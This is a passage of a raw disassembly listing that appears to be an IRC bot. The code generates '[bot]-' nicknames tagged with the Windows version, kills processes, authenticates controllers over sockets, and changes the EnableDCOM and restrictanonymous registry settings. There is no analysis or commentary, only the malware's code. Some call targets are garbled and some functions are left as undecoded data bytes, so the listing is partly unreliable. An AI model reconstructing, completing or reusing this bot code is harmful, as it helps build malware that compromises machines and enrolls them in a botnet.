		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_432ECC
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------


loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_432E94


loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 27304F3h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27E09D1h
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26508BEh


loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4407FC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h


loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43ACF4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43AD2C
		push	eax
		push	offset dword_432FF8
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26102D5h


loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------


loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0


loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_436EDC
		push	dword ptr [esi]
		call	dword_43ADE8
		cmp	dword_4CD77C, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D5h
		nop


loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432FAC
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_432F70
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26102D5h


loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432F38
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26102D5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]


loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------


loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_433034
		call	sub_40BFE1
		pop	ecx


loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------


loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax


loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43306C
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43AD10h, 0C63BF633h, 68501D74h
		dd 433230h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 6EE89057h, 57021FABh, 41598C68h, 6E89000h, 85023CB3h
		dd 902975C0h, 25ABEDE8h, 0E0685002h, 0E8004331h, 0FFFF6859h
		dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0E8905759h, 21FAB35h
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h,	15FF5350h
		dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h
		dd 850FC085h, 103h, 43319468h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh
		dd 8D500043h, 0FFFBEC85h, 314068FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 0CE85056h, 900228B2h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 95E8326Ah, 900220ABh, 63E8EDEBh,	900225AAh
		dd 30F46850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43AD2Ch, 0EC858D50h,	68FFFFFBh, 4330B0h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0AE3015FFh
		dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h
		dd 59000016h, 4AE89056h, 5B021FA9h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_433280o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF


loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9


loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37


loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21


loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4332DC
		push	eax
		push	esi
		call	near ptr 27D0000h
		nop
		movsx	eax, byte_4332DC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx


loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx


loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx


loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9


loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3


loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 2610763h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 27F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4332E0
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E


loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28


loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_436EDC
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 27A16DFh
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"


loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4332EC
		jz	short loc_415C14


loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC


loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4332E4
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58


loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32


loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2610763h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415C96
		mov	eax, offset byte_436EDC


loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_4332F0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------


loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415CC1
		mov	eax, offset byte_436EDC


loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h


loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43327C


loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------


loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4332E0
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------


loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_433280[eax*4]
		pop	ecx


loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4407FC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43AE24
		push	eax
		mov	edi, offset dword_4CD784
		push	offset unk_4332FC
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h


loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43AE30
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E0o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h
		dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	4405F005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 28E89057h, 3B0228ACh, 0FC4589C7h, 7D390B74h,	6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 23A9E5E8h, 0B3FF9002h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh,	8458950h
		dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------


loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC


loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26102D5h
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43AE68, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_4336E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_4336A4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------


loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_433678


loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_416026
; ---------------------------------------------------------------------------


loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416095
		push	offset unk_4335D8
		jmp	short loc_41609A
; ---------------------------------------------------------------------------


loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_433594


